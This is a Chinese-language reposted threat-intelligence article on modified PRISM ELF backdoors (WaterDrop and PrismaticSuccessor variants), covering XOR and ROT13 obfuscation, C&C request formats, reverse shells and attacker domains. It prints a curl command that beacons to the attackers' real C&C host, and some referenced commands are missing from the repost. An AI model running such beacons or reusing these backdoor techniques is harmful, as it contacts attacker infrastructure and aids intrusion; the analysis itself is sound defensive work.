潜伏四年，利用PRISM后门的攻击者
发布时间：2021-11-03 13:47:27 所属栏目：站长百科 来源：互联网
导读：ATT 的安全研究人员最近发现了一组隐蔽性极强的 ELF 可执行文件，它们在 VirusTotal 上的杀软检出率很低或为零。在分析样本后，ATT 已将它们确定为多个攻击者在多次攻击行动中使用的开源 PRISM 后门的修改版。 深入分析了使用这些恶意软件的攻击活动，在长达
|
AT&T 的安全研究人员最近发现了一组隐蔽性极强的 ELF 可执行文件，它们在 VirusTotal 上的杀软检出率很低或为零。在分析样本后，AT&T 已将它们确定为多个攻击者在多次攻击行动中使用的开源 PRISM 后门的修改版。
深入分析了使用这些恶意软件的攻击活动，在长达三年半的时间内这些攻击者仍然保持活跃。最早的攻击行动中的样本出现在 2017 年 11 月 8 日。
WaterDrop 分析
WaterDrop 的变种很容易识别，它包含一个名为 xencrypt的函数，该函数使用硬编码的单字节 0x1F密钥执进行异或加密。从 WaterDrop 变种的第 7 版开始，恶意样本也包含纯文本字符串 WaterDropx vX started，其中 X 是恶意样本的版本号。到目前为止，已经观察到版本 1、2.2 和 3 使用 PRISM 命名，而版本 7、9 和 12 被命名为 WaterDropx。
WaterDrop 使用 agent-waterdropx作为 User-Agent 进行 HTTP 协议的 C&C 通信，C&C 使用 waterdropx.com 域名的子域名。
尽管这些都是非常明显的特征，但攻击者仍然保持了在 VirusTotal 上极低的检出率，这可能是因为攻击行动的规模较小。
攻击者在 2017 年 8 月 18 日注册 waterdropx.com 域名。截至 2021 年 8 月 10 日，该域名仍在使用。
除了 PRISM 的基本功能外，WaterDrop 还额外引入了异或加密与定期轮询 C&C 服务器的功能。
恶意软件与 C&C 服务器的通信是纯文本 HTTP 协议，且所有版本的恶意软件都使用了 agent-waterdropx作为 User-Agent。
一些变种还会在以 root 权限执行时加载内核模块。
版本进化
(1) PRISM v1
第一个版本的样本就是使用 waterdropx.com 作为 C&C 域名的攻击者使用的，他们的 User-Agent 相同。
与公开的 PRISM 相比，该版本创建了子进程，该子进程不断向 C&C 服务器轮询要执行的命令。
curl -A 'agent-waterdropx' 'http://r.waterdropx.com:13858/tellmev2.x?v=1&act=touch'
第一个版本的样本没有对恶意样本进行任何混淆、加壳或者加密。
(2) PRISM v2.2
2.2 版本的 PRISM 开始使用异或加密来处理敏感数据，例如使用的 shell 命令等。单字节密钥硬编码为 0x1F，该密钥用于发现同一攻击者的所有样本。
对于这个版本的恶意软件，初始的 C&C URI 请求格式是：
/tellmev2.x?v=2.2&act=touch
(3) PRISM v3
3 版本的 PRISM 与 2.2 版本基本相同，额外多了 BOT ID 被保存到 /etc/.xid。
初始请求格式为：
/tellmev2.x?v=3&act=touch&xid=
(4) PRISM v7
Waterdrop v7 引入了内核模块的使用，如果进程具有 root 权限，则使用 insmod 安装。安全分析人员暂时无法确定此 Payload 的用途。
其余代码与 PRISM v3 相同，仅更改了硬编码版本号。其初始请求格式为：
/tellmev2.x?v=7&act=touch&xid=
(5) PRISM v9
延续之前版本的风格，Waterdrop v9 的变化微乎其微。在这个版本中发现的唯一变化是，使用 BOT ID 作为 ICMP 密码来生成反向 Shell，而不是使用硬编码的 ICMP 密码。
初始请求格式为：
/tellmev2.x?v=9&act=touch&xid=
(6) PRISM v12
Waterdrop v12 与其前序版本几乎相同，但增强了后门的稳定性。
其初始请求格式为：
/tellmev2.x?v=12&act=touch&xid=
恶意软件家族 PrismaticSuccessor
域名 z0gg.me 可解析为由另外 12 个域名共享的 IP 地址。
一些存在重叠的域名是已知的 PRISM 的 C&C 域名，但 z0gg.me 也与几个其他恶意样本存在关联。特别是，观察到与 https://github.com/lirongchun/i存储库有关。
在这个存储库中，可以观察到以下文件：
(1)三个包含 IP 地址(README.md)和端口号(README1.md 和 MP.md)的文档
(2)针对脏牛(CVE-2016-5195)漏洞的 Bash 脚本，名为：111
(3)几个 ELF 二进制文件，包括：
git：自定义恶意软件植入工具
ass：为 x64 架构编译的名为hide my ass的开源安全工具
ass32：为 x86 架构编译的名为hide my ass的开源安全工具
由于攻击者使用公共 GIT 存储库来托管其恶意软件和基础设施信息，可以查看历史数据观察其演变。
例如，我们可以使用以下命令收集参与者用作 C&C 服务器的所有 IP 地址：
按大小进行分组，可以发现大约 15K 的样本是 PRISM 后门，而大约 1.1 MB 的样本是另外的恶意软件。
攻击者在 2019 年 7 月 16 日提交了自定义 implant，该恶意软件使用修改版的 UPX 加壳。
恶意软件明显变大是由于二进制文件静态编译进了 libcurl，AT&T 将这个恶意软件家族命名为 PrismaticSuccessor。
分析可知，配置由两个 URL 组成：
HostUrl 用于获取 C&C 主机
PortUrl 用于获取端口号
执行后会尝试加锁 /var/lock/sshd.lock来当作互斥量。
接下来，恶意软件解密包含进程名称的字符串，该字符串用于覆盖 argv。
请注意，aMcwfkvf 变量包含 [mcwfkvf]值，该值在 src中被解密为 [kauditd]。解密使用 ROT13，密钥为 -2。这个 ROT13 只处理大小字母，不处理符号和数字。
接下来，恶意软件通过子进程进行多任务处理。
某个子进程会打开一个硬编码 C&C 服务器的反向 Shell 会话，配置中最多有三个 C&C 地址(z0gg.me、x63.in 和 x47.in)并使用 ROT13 加密。
服务器还需要使用密码进行回复，以便成功建立反向 Shell。恶意软件会计算回复缓冲区的 MD5 哈希值，并将其与硬编码值 ef4a85e8fcba5b1dc95adaa256c5b482进行比较。
无论主 C&C 服务器是否成功联系，都会进行通信。
某个子进程通过 GitHub 获取 C&C 主机和端口，并打开反向 Shell。
生成 Shell 的函数与 PRISM 源代码很相似，但不完全相同。
某个子进程跳转到 Shellcode 异或解密，硬编码的 8 字节密钥：
构建的命令如下所示：
在 StackOverflow 上也能发现有用户抱怨被攻击，与之相符。
其他变种
我们也观察到其他攻击者使用 PRISM 后门进行攻击。然而，在大多数情况下，攻击者者会原样使用原始的 PRISM 后门，而不进行任何重大修改。某种程度上说，这也阻碍了我们正确跟踪攻击者的攻击行动。
结论
PRISM 是一个开源的、简单的后门。它的流量是清晰可辨的，恶意文件很容易被检测到。其 C&C 服务器已经保持在线长达三年半。这表明，虽然受到更多关注的大型攻击行动通常会在数小时内被检测到，但较小的攻击行动可能会被漏掉。
检测方法
（编辑：厦门网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
